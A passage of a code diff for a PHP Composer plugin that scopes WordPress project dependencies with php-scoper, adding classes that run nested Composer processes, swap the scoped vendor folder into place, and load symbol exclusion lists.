) { - $output = new ConsoleOutput(); - $application = new Application(); - - return $application->run( - new ArrayInput( - array( - 'command' => $command, - '--working-dir' => $path, - '--no-dev' => ! $useDevDependencies, - '--optimize-autoloader' => true, - ), - ), - $output, - ); + // The dev mode of the outer run decides whether the scoped set gets its dev dependencies; + // the pseudo-events carry it in their name, because the Event they are wrapped in is + // fabricated by bin/wpify-scoper and always reports dev mode as off. + list( $command, $useDevDependencies ) = match ( $name ) { + self::SCOPER_INSTALL_CMD => array( 'install', true ), + self::SCOPER_INSTALL_NO_DEV_CMD => array( 'install', false ), + self::SCOPER_UPDATE_CMD => array( 'update', true ), + self::SCOPER_UPDATE_NO_DEV_CMD => array( 'update', false ), + ScriptEvents::POST_UPDATE_CMD => array( 'update', $event->isDevMode() ), + default => array( 'install', $event->isDevMode() ), + }; + + ( new Scoper( $this->configuration, $this->io, new ProcessComposerRunner( $this->io ) ) ) + ->run( $command, $useDevDependencies ); } } diff --git a/src/ProcessComposerRunner.php b/src/ProcessComposerRunner.php new file mode 100644 index 0000000..151fef8 --- /dev/null +++ b/src/ProcessComposerRunner.php @@ -0,0 +1,125 @@ +process = new ProcessExecutor( $io ); + } + + public function composer( array $arguments, string $workingDir ): int { + return $this->run( + array_merge( array( $this->phpBinary(), $this->composerBinary() ), $arguments, $this->ioArguments() ), + $workingDir + ); + } + + public function php( array $arguments, string $workingDir ): int { + return $this->run( array_merge( array( $this->phpBinary() ), $arguments ), $workingDir ); + } + + public function getErrorOutput(): string { + return $this->process->getErrorOutput(); + } + + /** + * @param non-empty-list $command + */ + private function run( array $command, string $workingDir ): int { + $this->io->write( + sprintf( 'wpify-scoper: %s', implode( ' ', array_map( array( ProcessExecutor::class, 'escape' ), $command ) ) ), + true, + IOInterface::VERBOSE + ); + + // executeTty() keeps the child attached to the terminal when there is one - progress bars + // and authentication prompts keep working - and falls back to a piped run that streams + // into $io and captures stderr when there is not (CI). + return $this->process->executeTty( $command, $workingDir ); + } + + /** + * The PHP binary running Composer, so the nested run and php-scoper cannot end up on a + * different version than the one that resolved the dependencies. + */ + private function phpBinary(): string { + if ( null === $this->php ) { + $found = ( new PhpExecutableFinder() )->find( false ); + + $this->php = false !== $found && '' !== $found ? $found : PHP_BINARY; + } + + return $this->php; + } + + /** + * The Composer binary running this plugin. + * + * COMPOSER_BINARY is set by Composer's own entry point; it is absent only when the pipeline is + * driven from bin/wpify-scoper, where PATH is the best available answer. + */ + private function composerBinary(): string { + if ( null !== $this->binary ) { + return $this->binary; + } + + $binary = Platform::getEnv( 'COMPOSER_BINARY' ); + + if ( ! is_string( $binary ) || '' === $binary ) { + $binary = ( new ExecutableFinder() )->find( 'composer' ); + } + + if ( ! is_string( $binary ) || '' === $binary ) { + throw new RuntimeException( + 'wpify-scoper: the Composer binary could not be located. Set COMPOSER_BINARY or make "composer" available on PATH.' + ); + } + + return $this->binary = $binary; + } + + /** + * Propagates the outer run's verbosity, colour and interactivity to the nested one. + * + * @return list + */ + private function ioArguments(): array { + $arguments = array(); + + if ( $this->io->isDebug() ) { + $arguments[] = '-vvv'; + } elseif ( $this->io->isVeryVerbose() ) { + $arguments[] = '-vv'; + } elseif ( $this->io->isVerbose() ) { + $arguments[] = '-v'; + } + + $arguments[] = $this->io->isDecorated() ? '--ansi' : '--no-ansi'; + + if ( ! $this->io->isInteractive() ) { + $arguments[] = '--no-interaction'; + } + + return $arguments; + } +} diff --git a/src/ScopedTreeInstaller.php b/src/ScopedTreeInstaller.php new file mode 100644 index 0000000..3c4535e --- /dev/null +++ b/src/ScopedTreeInstaller.php @@ -0,0 +1,297 @@ +fixAutoloadStatic( $destination ); + $this->neutraliseExposedSymbols( $destination ); + $this->publishLock( $destination ); + $this->swapDepsFolder( $destination ); + } + + /** + * Namespaces the keys of the `files` autoload array. + * + * Composer dedupes those files through $GLOBALS['__composer_autoload_files'], keyed by an + * md5 that depends only on the package name and the file path - so the scoped copy of a + * package produces the very same key as the unscoped one, and whichever autoloader runs + * second silently skips its own file. Prefixing the keys keeps the two vendors apart. + */ + private function fixAutoloadStatic( string $destination ): void { + $path = $this->path( $destination, 'vendor', 'composer', 'autoload_static.php' ); + + // The key has to stay a plain identifier, so everything that is not alphanumeric goes. + $keyPrefix = strtolower( (string) preg_replace( '/[^a-zA-Z0-9]/', '', $this->config->prefix ) ); + + // Only inside the $files array: the same key pattern also matches a $classMap entry for a + // single-segment global class name (`'Requests' => ...`), and prefixing that breaks the map. + $this->write( $path, (string) preg_replace_callback( + '/public\s+static\s+\$files\s*=\s*array\s*\(.*?\n\s*\);/s', + static function ( array $matches ) use ( $keyPrefix ): string { + return (string) preg_replace( "/'([[:alnum:]]+)'(\s*=>)/", "'" . $keyPrefix . "\$1'\$2", $matches[0] ); + }, + $this->read( $path ), + 1 + ) ); + } + + /** + * Comments out the exposed classes and functions - nothing is meant to be exposed. + */ + private function neutraliseExposedSymbols( string $destination ): void { + $path = $this->path( $destination, 'vendor', 'scoper-autoload.php' ); + $autoload = $this->read( $path ); + + $autoload = (string) preg_replace( '/^humbug_phpscoper_expose_.*;$/m', '// $0 // commented by WPify Scoper', $autoload ); + $autoload = (string) preg_replace( '/^if \(!function_exists\(.*}$/m', '// $0 // commented by WPify Scoper', $autoload ); + + $this->write( $path, $autoload ); + } + + private function publishLock( string $destination ): void { + $this->remove( $this->config->composerLock ); + + if ( ! @copy( $this->path( $destination, 'composer.lock' ), $this->config->composerLock ) ) { + throw new RuntimeException( sprintf( 'wpify-scoper: cannot write %s.', $this->config->composerLock ) ); + } + } + + /** + * Swaps the deps folder in place: the old tree is only destroyed once the new one is there. + */ + private function swapDepsFolder( string $destination ): void { + $scoped = $this->path( $destination, 'vendor' ); + $deps = $this->config->folder; + + if ( ! is_dir( $scoped ) ) { + throw new RuntimeException( sprintf( 'wpify-scoper: scoped vendor not found at %s.', $scoped ) ); + } + + // The backup lives inside the temp folder on purpose: $deps is often a path inside vendor/, + // where a sibling .bak would be picked up by release builds and CI artifacts. + $backup = $this->path( $this->config->tempDir, 'deps-backup-' . getmypid() ); + $hasBackup = false; + + if ( file_exists( $deps ) || is_link( $deps ) ) { + if ( ! $this->moveTree( $deps, $backup ) ) { + throw new RuntimeException( sprintf( 'wpify-scoper: cannot move the existing %s aside.', $deps ) ); + } + + $hasBackup = true; + } + + if ( ! $this->moveTree( $scoped, $deps ) ) { + if ( $hasBackup && ! $this->moveTree( $backup, $deps ) ) { + throw new RuntimeException( sprintf( + 'wpify-scoper: cannot move the scoped dependencies into %s and the previous ones could not be restored, they are kept in %s.', + $deps, + $backup + ) ); + } + + throw new RuntimeException( sprintf( + 'wpify-scoper: cannot move the scoped dependencies into %s, the previous ones were restored.', + $deps + ) ); + } + + if ( $hasBackup && ! $this->remove( $backup ) ) { + $this->warn( sprintf( 'cannot remove the backup of the previous dependencies in %s', $backup ) ); + } + } + + /** + * Moves a tree, falling back to copy + verify + delete when rename() cannot do it + * (different filesystems report EXDEV, Windows fails on locked files). + */ + private function moveTree( string $from, string $to ): bool { + if ( @rename( $from, $to ) ) { + return true; + } + + if ( ! $this->copyTree( $from, $to ) || ! $this->verifyTree( $from, $to ) ) { + $this->remove( $to ); + + return false; + } + + return $this->remove( $from ); + } + + /** + * Recursively copies a file, a directory or a symlink. Symlinks are recreated, never followed. + */ + private function copyTree( string $from, string $to ): bool { + if ( is_link( $from ) ) { + $target = readlink( $from ); + + return false !== $target && @symlink( $target, $to ); + } + + if ( is_dir( $from ) ) { + if ( ! is_dir( $to ) && ! @mkdir( $to, 0755, true ) && ! is_dir( $to ) ) { + return false; + } + + $dir = @opendir( $from ); + + if ( false === $dir ) { + return false; + } + + $copied = true; + + while ( $copied && false !== ( $file = readdir( $dir ) ) ) { + if ( '.' !== $file && '..' !== $file ) { + $copied = $this->copyTree( $from . '/' . $file, $to . '/' . $file ); + } + } + + closedir( $dir ); + + return $copied; + } + + return @copy( $from, $to ); + } + + /** + * Checks that every entry of $from exists in $to with the same type and size. + */ + private function verifyTree( string $from, string $to ): bool { + if ( is_link( $from ) ) { + return is_link( $to ) && readlink( $to ) === readlink( $from ); + } + + if ( is_dir( $from ) ) { + if ( ! is_dir( $to ) ) { + return false; + } + + $dir = @opendir( $from ); + + if ( false === $dir ) { + return false; + } + + $verified = true; + + while ( $verified && false !== ( $file = readdir( $dir ) ) ) { + if ( '.' !== $file && '..' !== $file ) { + $verified = $this->verifyTree( $from . '/' . $file, $to . '/' . $file ); + } + } + + closedir( $dir ); + + return $verified; + } + + return is_file( $to ) && ! is_link( $to ) && filesize( $to ) === filesize( $from ); + } + + /** + * Removes a file, a directory or a symlink. + * + * Never follows symlinks: is_dir() and is_file() do, so the link has to be checked for first, + * otherwise the target of the link gets deleted instead. + */ + private function remove( string $src ): bool { + if ( is_link( $src ) ) { + // Remove the link itself, never what it points at. rmdir() covers Windows directory junctions. + if ( ! @unlink( $src ) && ! @rmdir( $src ) ) { + $this->warn( sprintf( 'cannot remove symlink %s', $src ) ); + + return false; + } + + return true; + } + + if ( is_dir( $src ) ) { + $dir = @opendir( $src ); + + if ( false === $dir ) { + $this->warn( sprintf( 'cannot read directory %s', $src ) ); + + return false; + } + + $removed = true; + + while ( false !== ( $file = readdir( $dir ) ) ) { + if ( '.' !== $file && '..' !== $file ) { + if ( ! $this->remove( $src . '/' . $file ) ) { + $removed = false; + } + } + } + + closedir( $dir ); + + if ( ! $removed ) { + return false; + } + + if ( ! @rmdir( $src ) ) { + $this->warn( sprintf( 'cannot remove directory %s', $src ) ); + + return false; + } + + return true; + } + + if ( file_exists( $src ) && ! @unlink( $src ) ) { + $this->warn( sprintf( 'cannot remove file %s', $src ) ); + + return false; + } + + return true; + } + + private function path( string ...$parts ): string { + return implode( DIRECTORY_SEPARATOR, $parts ); + } + + private function read( string $path ): string { + $contents = @file_get_contents( $path ); + + if ( false === $contents ) { + throw new RuntimeException( sprintf( 'wpify-scoper: cannot read %s.', $path ) ); + } + + return $contents; + } + + private function write( string $path, string $contents ): void { + if ( false === @file_put_contents( $path, $contents ) ) { + throw new RuntimeException( sprintf( 'wpify-scoper: cannot write %s.', $path ) ); + } + } + + private function warn( string $message ): void { + $this->io->writeError( sprintf( 'wpify-scoper: %s', $message ) ); + } +} diff --git a/src/Scoper.php b/src/Scoper.php new file mode 100644 index 0000000..582c8f3 --- /dev/null +++ b/src/Scoper.php @@ -0,0 +1,249 @@ +filesystem = new Filesystem(); + $this->pluginDir = $pluginDir ?? dirname( __DIR__ ); + } + + /** + * @param string $command Either `install` or `update`. + * @param bool $useDevDependencies Whether the scoped dependency set includes require-dev. + * + * @return int Exit code, 0 on success. + */ + public function run( string $command, bool $useDevDependencies ): int { + if ( ! in_array( $command, array( 'install', 'update' ), true ) ) { + throw new RuntimeException( sprintf( 'wpify-scoper: unsupported command "%s", expected install or update.', $command ) ); + } + + if ( self::isRunning() ) { + $this->io->writeError( + 'wpify-scoper: already running (' . self::RUNNING_ENV . ' is set), skipping this nested invocation. Remove extra.wpify-scoper from your scoped manifest to silence this.' + ); + + return 0; + } + + $source = $this->config->sourceDir(); + $destination = $this->config->destinationDir(); + $scoper = $this->phpScoperPhar(); + + Platform::putEnv( self::RUNNING_ENV, '1' ); + + try { + $this->filesystem->ensureDirectoryExists( $source ); + $this->filesystem->ensureDirectoryExists( $destination ); + + $this->writeManifest( $source ); + + $scoperConfig = ( new ScoperConfigFactory( $this->config, $this->io, $this->filesystem, $this->pluginDir ) ) + ->create( $source, $destination ); + + $this->io->write( sprintf( + 'wpify-scoper: running composer %s for %s, scoping it with the prefix %s into %s', + $command, + $this->config->composerJson, + $this->config->prefix, + $this->config->folder + ) ); + + $arguments = array( $command, '--working-dir=' . $source, '--optimize-autoloader' ); + + if ( ! $useDevDependencies ) { + $arguments[] = '--no-dev'; + } + + $this->mustSucceed( $this->runner->composer( $arguments, $source ), 'composer ' . $command ); + + $this->mustSucceed( + $this->runner->php( + array( $scoper, 'add-prefix', '--output-dir=' . $destination, '--force', '--config=' . $scoperConfig ), + // The working directory the nested Composer used to run this step from. + $source + ), + 'php-scoper add-prefix' + ); + + $this->mustSucceed( + $this->runner->composer( array( 'dump-autoload', '--working-dir=' . $destination, '--optimize' ), $destination ), + 'composer dump-autoload' + ); + + ( new ScopedTreeInstaller( $this->config, $this->io ) )->install( $destination ); + + return 0; + } finally { + Platform::clearEnv( self::RUNNING_ENV ); + + if ( is_dir( $this->config->tempDir ) && ! $this->filesystem->removeDirectory( $this->config->tempDir ) ) { + $this->io->writeError( sprintf( + 'wpify-scoper: cannot remove the temporary folder %s', + $this->config->tempDir + ) ); + } + } + } + + public static function isRunning(): bool { + $flag = Platform::getEnv( self::RUNNING_ENV ); + + return is_string( $flag ) && '' !== $flag; + } + + /** + * Derives the manifest the nested Composer resolves against, and writes it into the temp + * directory. + * + * The user's composer-deps.json is only ever read. It used to be rewritten on every run with a + * `scripts` block full of absolute host paths, which churned the file and clobbered anything + * the user had written there - a hand-maintained `pre-autoload-dump` in particular. Everything + * else the user declares, `scripts` included, is passed through untouched. + */ + private function writeManifest( string $source ): void { + $manifest = $this->readManifest(); + + // The nested install loads the globally installed copy of this plugin. Without this the + // nested root package would configure it, and the run would recurse. + if ( isset( $manifest->extra ) && $manifest->extra instanceof stdClass ) { + unset( $manifest->extra->{'wpify-scoper'} ); + } + + $this->writeJson( $source . '/composer.json', $manifest ); + + if ( file_exists( $this->config->composerLock ) ) { + if ( ! @copy( $this->config->composerLock, $source . '/composer.lock' ) ) { + throw new RuntimeException( sprintf( 'wpify-scoper: cannot copy %s.', $this->config->composerLock ) ); + } + } + } + + /** + * Decoded as objects, not as associative arrays: an empty JSON object has to survive the + * round-trip as `{}` rather than turning into `[]`, which Composer rejects. + */ + private function readManifest(): stdClass { + if ( ! file_exists( $this->config->composerJson ) ) { + $manifest = new stdClass(); + $manifest->require = new stdClass(); + + $this->writeJson( $this->config->composerJson, $manifest ); + + return $manifest; + } + + $contents = @file_get_contents( $this->config->composerJson ); + + if ( false === $contents ) { + throw new RuntimeException( sprintf( 'wpify-scoper: cannot read %s.', $this->config->composerJson ) ); + } + + $manifest = json_decode( $contents ); + + if ( ! $manifest instanceof stdClass ) { + throw new RuntimeException( sprintf( + 'wpify-scoper: %s is not a valid JSON object (%s).', + $this->config->composerJson, + json_last_error_msg() + ) ); + } + + return $manifest; + } + + private function writeJson( string $path, stdClass $content ): void { + $this->filesystem->ensureDirectoryExists( dirname( $path ) ); + + $json = json_encode( $content, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE ); + + if ( false === $json || false === @file_put_contents( $path, $json ) ) { + throw new RuntimeException( sprintf( 'wpify-scoper: cannot write %s.', $path ) ); + } + } + + private function mustSucceed( int $exitCode, string $step ): void { + if ( 0 === $exitCode ) { + return; + } + + $errorOutput = trim( $this->runner->getErrorOutput() ); + + throw new RuntimeException( sprintf( + 'wpify-scoper: %s failed with exit code %d.%s', + $step, + $exitCode, + '' === $errorOutput ? '' : PHP_EOL . $errorOutput + ) ); + } + + /** + * Locates the php-scoper phar. + * + * Resolved up front so that a broken installation fails before anything has been written. + */ + private function phpScoperPhar(): string { + $candidates = array( + // wpify/php-scoper as a sibling of this package, i.e. any normal install. + dirname( $this->pluginDir ) . '/php-scoper/bin/php-scoper.phar', + // A checkout of this repository, with its own vendor directory. + $this->pluginDir . '/vendor/wpify/php-scoper/bin/php-scoper.phar', + // A project-local install while the plugin itself was loaded from somewhere else. + $this->config->vendorDir . '/wpify/php-scoper/bin/php-scoper.phar', + ); + + if ( class_exists( InstalledVersions::class ) ) { + try { + $candidates[] = InstalledVersions::getInstallPath( 'wpify/php-scoper' ) . '/bin/php-scoper.phar'; + } catch ( OutOfBoundsException ) { + // Not registered in this runtime; the paths above are the answer. + } + } + + foreach ( $candidates as $candidate ) { + $resolved = realpath( $candidate ); + + if ( false !== $resolved ) { + return $resolved; + } + } + + throw new RuntimeException( sprintf( + 'wpify-scoper: php-scoper was not found. Is wpify/php-scoper installed? Looked in: %s', + implode( ', ', $candidates ) + ) ); + } +} diff --git a/src/ScoperCommand.php b/src/ScoperCommand.php new file mode 100644 index 0000000..db33827 --- /dev/null +++ b/src/ScoperCommand.php @@ -0,0 +1,60 @@ +setName( 'wpify-scoper' ) + ->setDescription( 'Scopes the dependencies declared in composer-deps.json.' ) + ->addArgument( 'action', InputArgument::REQUIRED, 'Either "install" or "update".' ) + ->addOption( 'no-dev', null, InputOption::VALUE_NONE, 'Skip the dev dependencies of the scoped manifest.' ) + ->setHelp( + <<<'HELP' +The wpify-scoper command resolves the dependencies declared in +composer-deps.json in a temporary directory, rewrites them with php-scoper under +the namespace configured in extra.wpify-scoper.prefix, and moves the result into +extra.wpify-scoper.folder. + +composer wpify-scoper install installs the locked scoped dependency set +composer wpify-scoper update re-resolves it and rewrites composer-deps.lock +HELP + ); + } + + protected function execute( InputInterface $input, OutputInterface $output ): int { + $io = $this->getIO(); + $argument = $input->getArgument( 'action' ); + $action = is_string( $argument ) ? $argument : ''; + + if ( ! in_array( $action, array( 'install', 'update' ), true ) ) { + $io->writeError( sprintf( 'wpify-scoper: unknown action "%s", expected install or update.', $action ) ); + + return 1; + } + + $composer = $this->requireComposer(); + $configuration = Configuration::fromComposer( $composer ); + + if ( null === $configuration ) { + $io->writeError( 'wpify-scoper: no extra.wpify-scoper block in composer.json, nothing to scope.' ); + + return 1; + } + + return ( new Scoper( $configuration, $io, new ProcessComposerRunner( $io ) ) ) + ->run( $action, ! (bool) $input->getOption( 'no-dev' ) ); + } +} diff --git a/src/ScoperConfigFactory.php b/src/ScoperConfigFactory.php new file mode 100644 index 0000000..8b8a97a --- /dev/null +++ b/src/ScoperConfigFactory.php @@ -0,0 +1,271 @@ + 'action-scheduler.php', + 'woocommerce' => 'woocommerce.php', + 'wordpress' => 'wordpress.php', + 'wp-cli' => 'wp-cli.php', + ); + + /** + * Names that used to be accepted in globals, with the reason they no longer are. + * + * Naming one is a warning and a no-op, never an error: projects that still list it have + * to keep installing until they get around to removing the line. + */ + private const REMOVED_SYMBOLS = array( + 'plugin-update-checker' => 'plugin-update-checker is now scoped like every other dependency - the list only ever held dead PUC v4 class names, under a key this plugin neutralises anyway', + ); + + public function __construct( + private readonly Configuration $config, + private readonly IOInterface $io, + private readonly Filesystem $filesystem, + private readonly string $pluginDir, + ) { + } + + /** + * Writes scoper.inc.php, scoper.config.php and (when present) scoper.custom.php into the temp + * directory. + * + * @return string Path of the scoper.inc.php php-scoper has to be pointed at. + */ + public function create( string $source, string $destination ): string { + $tempDir = $this->config->tempDir; + $incPath = $this->pluginDir . '/config/scoper.inc.php'; + $configPath = $this->pluginDir . '/config/scoper.config.php'; + $finalPath = $tempDir . '/scoper.inc.php'; + + $this->filesystem->ensureDirectoryExists( $tempDir ); + + $config = $this->assemble( $configPath, $source, $destination ); + + $customPath = $this->customizationsPath(); + + if ( null !== $customPath ) { + $this->io->write( sprintf( 'wpify-scoper: using the customizations from %s', $customPath ) ); + $this->copy( $customPath, $tempDir . '/scoper.custom.php' ); + } elseif ( $this->io->isVerbose() ) { + $this->io->write( sprintf( 'wpify-scoper: no scoper.custom.php found in %s', $this->config->rootDir ) ); + } + + $this->copy( $incPath, $finalPath ); + + // The patcher's only collaborator. php-scoper runs scoper.inc.php from inside its phar, + // so the class has to sit next to it and be required by path. + $this->copy( $this->pluginDir . '/src/SymbolUnprefixer.php', $tempDir . '/SymbolUnprefixer.php' ); + + $this->write( $tempDir . '/scoper.config.php', ' + */ + private function assemble( string $configPath, string $source, string $destination ): array { + // Plain require: require_once returns true instead of the config on a second include. + $config = require $configPath; + + if ( ! is_array( $config ) ) { + throw new RuntimeException( sprintf( + 'wpify-scoper: %s must return an array, got %s.', + $configPath, + get_debug_type( $config ) + ) ); + } + + $named = array(); + + foreach ( $config as $key => $value ) { + // php-scoper reads its configuration by name, so a positional entry is a typo the + // user would otherwise only find out about as a silently ignored setting. + if ( ! is_string( $key ) ) { + throw new RuntimeException( sprintf( + 'wpify-scoper: %s has the non-string key %s; every php-scoper option is named.', + $configPath, + var_export( $key, true ) + ) ); + } + + $named[ $key ] = $value; + } + + $config = $named; + + $config['prefix'] = $this->config->prefix; + $config['source'] = $source; + $config['destination'] = $destination; + + /** + * Seeded so that an empty symbol set still produces every key the patcher reads: an + * undefined `exclude-classes` used to surface as a TypeError from inside a php-scoper + * patcher, mid-scope, with a stack trace nobody could act on. + * + * @var array> $exclusions + */ + $exclusions = array( + 'exclude-classes' => array(), + 'exclude-constants' => array( 'NULL', 'TRUE', 'FALSE' ), + 'exclude-functions' => array(), + 'exclude-namespaces' => array(), + ); + + $this->warnAboutUnknownGlobals(); + + // Iterated in the order the lists are declared, not the order the project happens to + // list them in, so that the generated config does not depend on the composer.json. + foreach ( self::BUNDLED_SYMBOLS as $name => $file ) { + if ( ! in_array( $name, $this->config->globals, true ) ) { + continue; + } + + foreach ( $this->symbols( $file ) as $key => $values ) { + $exclusions[ $key ] = array_merge( $exclusions[ $key ] ?? array(), $values ); + } + } + + // The lists genuinely overlap - WooCommerce bundles all of Action Scheduler, wp-cli + // repeats a good part of WordPress - so a plain concatenation would double thousands of + // entries and slow every patcher lookup down for nothing. + foreach ( $exclusions as $key => $values ) { + $config[ $key ] = array_values( array_unique( $values ) ); + } + + return $config; + } + + /** + * Loads one shipped symbol list. + * + * Validated rather than trusted: the files are generated, and a generator that broke halfway + * would otherwise hand php-scoper a config it fails on far downstream. + * + * @return array> + */ + private function symbols( string $file ): array { + $path = $this->pluginDir . '/symbols/' . $file; + $symbols = require $path; + + if ( ! is_array( $symbols ) ) { + throw new RuntimeException( sprintf( 'wpify-scoper: the symbol list %s must return an array.', $path ) ); + } + + $validated = array(); + + foreach ( $symbols as $key => $values ) { + if ( ! is_string( $key ) || ! str_starts_with( $key, 'exclude-' ) ) { + throw new RuntimeException( sprintf( + 'wpify-scoper: the symbol list %s has the unexpected key %s, expected an "exclude-*" one.', + $path, + var_export( $key, true ) + ) ); + } + + if ( ! is_array( $values ) ) { + throw new RuntimeException( sprintf( + 'wpify-scoper: %s in the symbol list %s must be an array of symbol names, got %s.', + $key, + $path, + get_debug_type( $values ) + ) ); + } + + $names = array(); + + foreach ( $values as $value ) { + if ( ! is_string( $value ) ) { + throw new RuntimeException( sprintf( + 'wpify-scoper: %s in the symbol list %s holds a %s where a symbol name was expected.', + $key, + $path, + get_debug_type( $value ) + ) ); + } + + $names[] = $value; + } + + $validated[ $key ] = $names; + } + + return $validated; + } + + /** + * Locates the project's scoper.custom.php. + * + * The project root is checked first; the plugin directory stays a fallback so that a checkout + * of the plugin itself keeps working. The old implementation picked between the two by looking + * for the literal string "vendor/wpify/scoper" in its own path, which silently ignored the + * user's file for a custom vendor-dir or a symlinked path repository. + */ + private function customizationsPath(): ?string { + foreach ( array( $this->config->rootDir, $this->pluginDir ) as $directory ) { + $candidate = $directory . '/scoper.custom.php'; + + if ( file_exists( $candidate ) ) { + return $candidate; + } + } + + return null; + } + + /** + * Warns about every globals entry that names no shipped symbol list. + * + * Deliberately not an error: an unknown name has always been ignored silently, and making + * it fatal now would break the projects that still list a name this release removed. + */ + private function warnAboutUnknownGlobals(): void { + foreach ( $this->config->globals as $name ) { + if ( isset( self::BUNDLED_SYMBOLS[ $name ] ) ) { + continue; + } + + if ( isset( self::REMOVED_SYMBOLS[ $name ] ) ) { + $this->io->writeError( sprintf( + 'wpify-scoper: extra.wpify-scoper.globals entry "%s" is deprecated and ignored - %s. Remove it from your composer.json.', + $name, + self::REMOVED_SYMBOLS[ $name ] + ) ); + + continue; + } + + $this->io->writeError( sprintf( + 'wpify-scoper: unknown extra.wpify-scoper.globals entry "%s", ignoring it. Known values: %s.', + $name, + implode( ', ', array_keys( self::BUNDLED_SYMBOLS ) ) + ) ); + } + } + + private function copy( string $from, string $to ): void { + if ( ! @copy( $from, $to ) ) { + throw new RuntimeException( sprintf( 'wpify-scoper: cannot copy %s to %s.', $from, $to ) ); + } + } + + private function write( string $path, string $contents ): void { + if ( false === @file_put_contents( $path, $contents ) ) { + throw new RuntimeException( sprintf( 'wpify-scoper: cannot write %s.', $path ) ); + } + } +} diff --git a/src/SymbolUnprefixer.php b/src/SymbolUnprefixer.php new file mode 100644 index 0000000..fbed631 --- /dev/null +++ b/src/SymbolUnprefixer.php @@ -0,0 +1,117 @@ + Lowercased symbol names. + */ + private readonly array $classes; + + /** + * @var array Lowercased namespace names. + */ + private readonly array $namespaces; + + /** + * @param string $prefix The namespace php-scoper prefixes everything with. + * @param array $excludeClasses Symbols that name one class, interface, trait or enum. + * @param array $excludeNamespaces Namespaces whose whole subtree stays global. + */ + public function __construct( + private readonly string $prefix, + array $excludeClasses = array(), + array $excludeNamespaces = array(), + ) { + // php-scoper matches symbols case-insensitively (SymbolRegistry::normalizeNames()), so the + // tables are lowercased and the captured symbol is lowercased before the lookup. + $this->classes = self::lookup( $excludeClasses ); + $this->namespaces = self::lookup( $excludeNamespaces ); + + $this->pattern = '/(use\s+|\\\\)' . preg_quote( $prefix, '/' ) + . '\\\\([A-Za-z_\x80-\xff][A-Za-z0-9_\x80-\xff]*(?:\\\\[A-Za-z_\x80-\xff][A-Za-z0-9_\x80-\xff]*)*)/'; + } + + public function __invoke( string $content ): string { + return $this->unprefix( $content ); + } + + public function unprefix( string $content ): string { + if ( ! str_contains( $content, $this->prefix ) ) { + return $content; + } + + return (string) preg_replace_callback( + $this->pattern, + function ( array $matches ): string { + return $this->isExcluded( (string) $matches[2] ) ? $matches[1] . $matches[2] : $matches[0]; + }, + $content + ); + } + + /** + * True when the symbol has to stay in the global namespace. + */ + public function isExcluded( string $symbol ): bool { + $symbol = strtolower( ltrim( $symbol, '\\' ) ); + + // An exclude-classes entry names one symbol and nothing below it. + if ( isset( $this->classes[ $symbol ] ) ) { + return true; + } + + // An exclude-namespaces entry covers the namespace and everything under it, but only on a + // segment boundary: `Foo\Bar` must not match `Foo\Barbecue`. + $candidate = ''; + + foreach ( explode( '\\', $symbol ) as $segment ) { + $candidate = '' === $candidate ? $segment : $candidate . '\\' . $segment; + + if ( isset( $this->namespaces[ $candidate ] ) ) { + return true; + } + } + + return false; + } + + /** + * @param array $symbols + * + * @return array + */ + private static function lookup( array $symbols ): array { + $lookup = array(); + + foreach ( $symbols as $symbol ) { + if ( is_string( $symbol ) && '' !== $symbol ) { + $lookup[ strtolower( $symbol ) ] = true; + } + } + + return $lookup; + } +} diff --git a/symbols/action-scheduler.php b/symbols/action-scheduler.php index 9879a77..3fe161a 100644 --- a/symbols/action-scheduler.php +++ b/symbols/action-scheduler.php @@ -1,104 +1,114 @@ - - array ( - 0 => 'as_enqueue_async_action', - 1 => 'as_schedule_single_action', - 2 => 'as_schedule_recurring_action', - 3 => 'as_schedule_cron_action', - 4 => 'as_unschedule_action', - 5 => 'as_unschedule_all_actions', - 6 => 'as_next_scheduled_action', - 7 => 'as_has_scheduled_action', - 8 => 'as_get_scheduled_actions', - 9 => 'as_get_datetime_object', - 10 => 'as_supports', - 11 => 'action_scheduler_register_4_dot_0_dot_0', - 12 => 'action_scheduler_initialize_4_dot_0_dot_0', - 13 => 'wc_schedule_single_action', - 14 => 'wc_schedule_recurring_action', - 15 => 'wc_schedule_cron_action', - 16 => 'wc_unschedule_action', - 17 => 'wc_next_scheduled_action', - 18 => 'wc_get_scheduled_actions', - ), - 'exclude-classes' => - array ( - 0 => 'ActionScheduler_AsyncRequest_QueueRunner', - 1 => 'ActionScheduler_WPCLI_Clean_Command', - 2 => 'ActionScheduler_WPCLI_Scheduler_command', - 3 => 'ActionScheduler_WPCLI_QueueRunner', - 4 => 'ActionScheduler_ListTable', - 5 => 'ActionScheduler_WPCommentCleaner', - 6 => 'ActionScheduler_AdminView', - 7 => 'ActionScheduler_ActionClaim', - 8 => 'ActionScheduler_QueueRunner', - 9 => 'ActionScheduler_SystemInformation', - 10 => 'ActionScheduler_CronSchedule', - 11 => 'ActionScheduler_NullSchedule', - 12 => 'ActionScheduler_SimpleSchedule', - 13 => 'ActionScheduler_Schedule', - 14 => 'ActionScheduler_IntervalSchedule', - 15 => 'ActionScheduler_CanceledSchedule', - 16 => 'ActionScheduler_LoggerSchema', - 17 => 'ActionScheduler_StoreSchema', - 18 => 'ActionScheduler_Abstract_QueueRunner', - 19 => 'ActionScheduler_Lock', - 20 => 'ActionScheduler_Abstract_RecurringSchedule', - 21 => 'ActionScheduler_TimezoneHelper', - 22 => 'ActionScheduler_Abstract_Schema', - 23 => 'ActionScheduler', - 24 => 'ActionScheduler_Abstract_ListTable', - 25 => 'ActionScheduler_WPCLI_Command', - 26 => 'ActionScheduler_Abstract_Schedule', - 27 => 'ActionScheduler_Logger', - 28 => 'ActionScheduler_Store', - 29 => 'ActionScheduler_Compatibility', - 30 => 'ActionScheduler_QueueCleaner', - 31 => 'ActionScheduler_wpPostStore', - 32 => 'ActionScheduler_wpPostStore_PostStatusRegistrar', - 33 => 'ActionScheduler_wpPostStore_TaxonomyRegistrar', - 34 => 'ActionScheduler_wpPostStore_PostTypeRegistrar', - 35 => 'ActionScheduler_DBLogger', - 36 => 'ActionScheduler_HybridStore', - 37 => 'ActionScheduler_wpCommentLogger', - 38 => 'ActionScheduler_DBStore', - 39 => 'ActionScheduler_FinishedAction', - 40 => 'ActionScheduler_CanceledAction', - 41 => 'ActionScheduler_Action', - 42 => 'ActionScheduler_NullAction', - 43 => 'ActionScheduler_Exception', - 44 => 'ActionScheduler_InvalidActionException', - 45 => 'ActionScheduler_OptionLock', - 46 => 'ActionScheduler_Versions', - 47 => 'ActionScheduler_DateTime', - 48 => 'ActionScheduler_LogEntry', - 49 => 